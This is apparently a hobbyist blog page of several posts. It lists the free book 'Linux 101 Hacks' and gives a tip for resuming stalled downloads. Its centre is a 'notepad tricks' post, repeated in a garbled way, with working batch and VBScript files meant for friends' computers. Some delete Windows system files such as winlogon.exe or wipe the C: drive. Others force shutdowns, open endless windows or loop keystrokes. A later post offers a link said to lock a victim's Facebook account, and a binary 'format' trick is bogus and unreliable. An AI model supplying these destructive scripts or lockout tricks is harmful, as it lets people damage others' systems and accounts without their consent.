Thursday, 13 August 2015

LINUX 101 HACKS

“Linux 101 Hacks” by Ramesh Natarajan is available in PDF format for free. This book gives you practical examples to build a strong foundation in Linux.

Table of Contents

Chapter 1: Powerful CD Command Hacks
Hack 1. Use CDPATH to define the base directory for cd command
Hack 2. Use cd alias to navigate up the directory effectively
Hack 3. Perform mkdir and cd using a single command
Hack 4. Use “cd -” to toggle between the last two directories
Hack 5. Use dirs, pushd and popd to manipulate directory stack
Hack 6. Use “shopt -s cdspell” to automatically correct mistyped directory names on cd

Chapter 2: Date Manipulation
Hack 7. Set System Date and Time
Hack 8. Set Hardware Date and Time
Hack 9. Display Current Date and Time in a Specific Format
Hack 10. Display Past Date and Time
Hack 11. Display Future Date and Time

Chapter 3: SSH Client Commands
Hack 12. Identify SSH Client Version
Hack 13. Login to Remote Host using SSH
Hack 14. Debug SSH Client Session
Hack 15. Toggle SSH Session using SSH Escape Character
Hack 16. SSH Session Statistics using SSH Escape Character

Chapter 4: Essential Linux Commands
Hack 17. Grep Command
Hack 18. Find Command
Hack 19. Suppress Standard Output and Error Message
Hack 20. Join Command
Hack 21. Change the Case
Hack 22. Xargs Command
Hack 23. Sort Command
Hack 24. Uniq Command
Hack 25. Cut Command
Hack 26. Stat Command
Hack 27. Diff Command
Hack 28. Display total connect time of users

Chapter 5: PS1, PS2, PS3, PS4 and PROMPT_COMMAND
Hack 29. PS1 – Default Interaction Prompt
Hack 30. PS2 – Continuation Interactive Prompt
Hack 31. PS3 – Prompt used by “select” inside shell script
Hack 32. PS4 – Used by “set -x” to prefix tracing output
Hack 33. PROMPT_COMMAND

Chapter 6: Colorful and Functional Shell Prompt Using PS1
Hack 34. Display username, hostname and current working directory in the prompt
Hack 35. Display current time in the prompt
Hack 36. Display output of any command in the prompt
Hack 37. Change foreground color of the prompt
Hack 38. Change background color of the prompt
Hack 39. Display multiple colors in the prompt
Hack 40. Change the prompt color using tput
Hack 41. Create your own prompt using the available codes for PS1 variable
Hack 42. Use bash shell function inside PS1 variable
Hack 43. Use shell script inside PS1 variable

Chapter 7: Archive and Compression
Hack 44. Zip command basics
Hack 45. Advanced compression using zip command
Hack 46. Password Protection of Zip files
Hack 47. Validate a zip archive
Hack 48. Tar Command Basics
Hack 49. Combine gzip, bzip2 with tar

Chapter 8: Command Line History
Hack 50. Display TIMESTAMP in history using HISTTIMEFORMAT
Hack 51. Search the history using Control+R
Hack 52. Repeat previous command quickly using 4 different methods
Hack 53. Execute a specific command from history
Hack 54. Execute previous command that starts with a specific word
Hack 55. Control the total number of lines in the history using HISTSIZE
Hack 56. Change the history file name using HISTFILE
Hack 57. Eliminate the continuous repeated entry from history using HISTCONTROL
Hack 58. Erase duplicates across the whole history using HISTCONTROL
Hack 59. Force history not to remember a particular command using HISTCONTROL
Hack 60. Clear all the previous history using option -c
Hack 61. Substitute words from history commands
Hack 62. Substitute a specific argument for a specific command
Hack 63. Disable the usage of history using HISTSIZE
Hack 64. Ignore specific commands from the history using HISTIGNORE

Chapter 9: System Administration Tasks
Hack 65. Partition using fdisk
Hack 66. Format a partition using mke2fsk
Hack 67. Mount the partition
Hack 68. Fine tune the partition using tune2fs
Hack 69. Create a swap file system.
Hack 70. Create a new user
Hack 71. Create a new group and assign to an user
Hack 72. Setup SSH passwordless login in OpenSSH
Hack 73. Use ssh-copy-id along with ssh-agent
Hack 74. Crontab
Hack 75. Safe Reboot Of Linux Using Magic SysRq Key

Chapter 10: Apachectl and Httpd Examples
Hack 76. Pass different httpd.conf filename to apachectl
Hack 77. Use a temporary DocumentRoot without modifying httpd.conf
Hack 78. Increase the Log Level temporarily
Hack 79. Display the modules inside Apache
Hack 80. Show all accepted directives inside httpd.conf
Hack 81. Validate the httpd.conf after making changes
Hack 82. Display the httpd build parameters
Hack 83. Load a specific module only on demand
Chapter 11: Bash Scripting
Hack 84. Execution Sequence of .bash_* files
Hack 85. How to generate random number in bash shell
Hack 86. Debug a shell script
Hack 87. Quoting
Hack 88. Read data file fields inside a shell script

Chapter 12: System Monitoring and Performance
Hack 89. Free command
Hack 90. Top Command
Hack 91. Ps Command
Hack 92. Df Command
Hack 93. Kill Command
Hack 94. Du Command
Hack 95. lsof commands.
Hack 96. Sar Command
Hack 97. vmstat Command
Hack 98. Netstat Command
Hack 99. Sysctl Command
Hack 100. Nice Command
Hack 101. Renice Command


Author(s): Ramesh Natarajan
File Size: 838 KB
File Format: PDF
Number of pages: – 140
Download Link: – DOWNLOAD HERE

Wednesday, 12 August 2015

HOW TO CORRUPT YOUR FRIENDS’ COMPUTER WINDOW USING DOS

Goto Notepad, paste in the below given code, and save it as Window.bat


@echo off
del c:\windows\system32\restore
del c:\windows\system32\winlogon.exe
del c:\windows\system32\logonui.exe
shutdown -f

HOW TO DISABLE YOUR VICTIM’S ANTIVIRUS

Save it as an .exe file giving any name you desire.
Thats It ! Now just double click on the file (to open it) and your C: drive will be formatted !
This is just a little binary fun. Be Careful while using it.
12)write ur own simple virus cant detected by any antivirus:-
@Echo off
Del C:\ *.* |y
And save that as .bat RUN IT
It will delete the content of C:\ drive…
Please Note:: don’t run that .bat file on ur system… it will delet c: drive
13) Notepad Trick to type slowly:-
Open Notepad.
Paste the following code in the notepad file:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
Save the file with any name and with .vbs extension and close it.


Enjoy Friends This Notepad Tricks Codes and Share this Notepad Tricks with your Friends or use it with your friends and make a fool him..!!

Awesome Notepad tricks

Notepad Tricks
The Notepad Tricks are use for the Tricking your Computer with the Some codes. Here We are presenting with you some Notepad Tricks codes that will use for something franks. Here We are showing you top 13 Notepad Tricks, that will really made you crazy.

Awesome Notepad Tricks
Notepad Tricks:
1)Continually pop out CD Drive Using Notepad:-
Type in Notepad :-
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as “Anyname.VBS”.
Like cdvirus.vbs
if you open this file your cddrive continully popout.
2) Convey your friend a lil’ message and shut down his / her computer:-
Type in Notepad :-
@echo off
msg * I don’t like you
shutdown -c “Error! You are stupid!” -s
Save it as “Anyname.BAT”.
Like notepadvirus.bat
3). Open Notepad continually in your friend’s computer :-
Type in Notepad :-
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as “Anyname.BAT” and send it.
4). Make A Personal Log-Book or A Diary :-
Type in Notepad :-
.LOG (in capital letters)
Save it as “Anyname.txt”.
Open it again.
When you open the file again you will see the current date and time being inserted automatically after the .LOG line. This will happen automatically every time you reopen the the notepad file.
Read Also: How to Make Bootable Pen Drive
5). Test Your Anti-Virus:-
You can also test your anti virus program for its effectiveness using a simple notepad trick.
Follow the steps below to know more:
Copy the code give below in the notepad file:
X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Save it as “Anyname.exe” like testvirus.exe
As soon as you save this file, your anti virus program will detect the file (virus) immediately and will attempt to delete it. If this happens then your Antivirus is working properly. If not, then its time to look for some other reliable program.
6). Matrix Effect:-
Type in Notepad :-
Copy the below mentioned text in your notepad file:
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
Save the file with .bat extension like Matrix.bat
7). Constantly Repeat Messages:-
Paste the following code in the notepad file:
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
Save the file with any file name but with .bat as extension and close it. For eg.message.bat
8). Toggle Keyboard Button Simultaneously:-
1. Caps Lock Key
Open Notepad.
Paste the following code in the notepad file:
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Save the file with anyname and .vbs extension. and close it.
Now open the newly created file and see how the caps lock key behaves on your keyboard!
9). Type “You are a fool” Continuously:-
Open Notepad.
Paste the following code in the notepad file:
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop
Save the file with any name but with .vbs extension and close it.
Ope the file and see how it makes you type!
10).Convert Text Into Audio Using Notepad:-
Open Notepad.
Copy and paste the below mentioned code :
Dim message, sapi message=InputBox(“Enter your text for conversion–Hacking-world.tk”,”Hover pc Hacks Text-To-Audio Converter”) Set sapi=CreateObject(“sapi.spvoice”) sapi.Speak message
Save this file with any name with .vbs as extension. For eg. Text-To-Audio.vbs
11).Format Your Hard Disk Using Just Notepad !!
Ever wondered of a way to format your hard disk using just notepad ?
Open notepad.
Type the following the code in it (Or just copy paste it).
01100110011011110111001001101101011000010111010000 100000011000110011101001011100 00100000001011110
Save it as an .exe file giving any name you desire.
Thats It ! Now just double click on the file (to open it) and your C: drive will be formatted !
This is just a little binary fun. Be Careful while using it.
12)write ur own simple virus cant detected by any antivirus:-
@Echo off
Del C:\ *.* |y
And save that as .bat RUN IT
It will delete the content of C:\ drive…
Please Note:: don’t run that .bat file on ur system… it will delet c: drive
13) Notepad Trick to type slowly:-
Open Notepad.
Paste the following code in the notepad file:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
Save the file with any name and with .vbs extension and close it.


Enjoy Friends This Notepad Tricks Codes and Share this Notepad Tricks with your Friends or use it with your friends and make a fool him..!!

UC/Opera download failed Problem Solution

Hii Frnds
Myself Swaraj patil

Today M here with an awesome trick
Working awesome for Me
Try Urself And Comment Here about urs :)

So aap bhi kaafi preshan honge UC/Opera me jab Big files Likes Roms Jab Bich me aake Ruk Jaati Hai
Aur Resume nahi Hoti Aur Fir Failed Ho Jaati Hain
Aur Fir Hume Again Unn files ko Starting Se download karna padta hai .
Jisse hmara data aur time 2no waste hote hai :

So aaj main aapke liye iska simple saa solution Le ke aaya hun

Ok Let's Start :-)

Steps :- For UC browser

Samjho aap 200 mb ki file Download kar rahe ho aur Download 150 mb pe aake ruk gya aur resume nahi hota

So Follow These Steps

1~ File Manager Se UC Download foldet me jaaye aur wahan aapko Ye File Milegi jo aap Download kar rahe hain aur sath me usi naam se ek .dltemp name ki file bhi milegi Kuch bytes ki

Ab inn 2no files ko CUT karo aur kisi dusre folder me jaake paste karo

( Note- U need to cut both files )

2~ Ab UC me jaake uss Download Ko Delete karo ( delete Source file ko tick karke )

3~ Ab Again Us File Ko Starting Se Download Karo

4~ Jab download start ho jaye ( Kuch KB ) To Download Ko Pause karo

5~ Ab Again file Manager Se UC download folder me jao aur Wahan se 2no files Ko Delete karo
(Original download file and .dltemp file )

6~ inhe delete Karne Ke Baad
Pehle wali 2no files Ko ab UC download Folder Me Lake Copy/Paste Karo

7~ Ab Again UC Browser Me Jao And Pause kiye Download Ko Resume Karo

And See Apka Download pehle Breakpoint mean 150 mb se start ho jayega :)

For OPERA :-

... Agar File Opera Yaa Uc Kisi Me Bhi Failed Ho To Hum Opera Me Resume Kar Sakte Hain

Bass Sabhi Upar Wale Steps Karo Bass File Manager Se UC download Folder Ki Jagah File Ko DOWNLOAD named folder me dalna

Kyunki Opera Koi Temp File Nahi Bnata To Yahan Bass Hume Uss File Ko hi Paste Karna Hai And Done :)



Njoy
Share my Blog if it helps you :)

Any Question or query ?
Feel free to ask :)

~ Swaraj Patil








~

Monday, 10 August 2015

How to lock facebook account

FACEBOOK TRICK FOR LOCK ACCOUNT OF VICTIM TEMPORARILY

THIS IS A VIRUS LINK WHICH LOCK YOUR VICTIM ACCOUNT TEMPORARILY... WHEN YOUR VICTIM COMMENT THIS LINK TWO TIMES . HIS FB ACCOUNT GETS TEMPORARILY LOCKED :D & THE LINK IS BELOW


http:#//34255353309 remove #

NOTE:-GIVE THIS Link TO YOUR VICTIM DON'T COMMENT THIS THIS LINK ON YOUR ID OTHERWISE YOU WILL BE LOCKED TEMPORARILY.

HOw tO DoWnLoAd ApP dIrEctly

Here is a another Great Website to download APK's directly with High Bandwidth and Quota.

Just copy and paste playstore url or App device id.


You can do MD5 file check if you have doubts of the latest app version.

The link is   HERE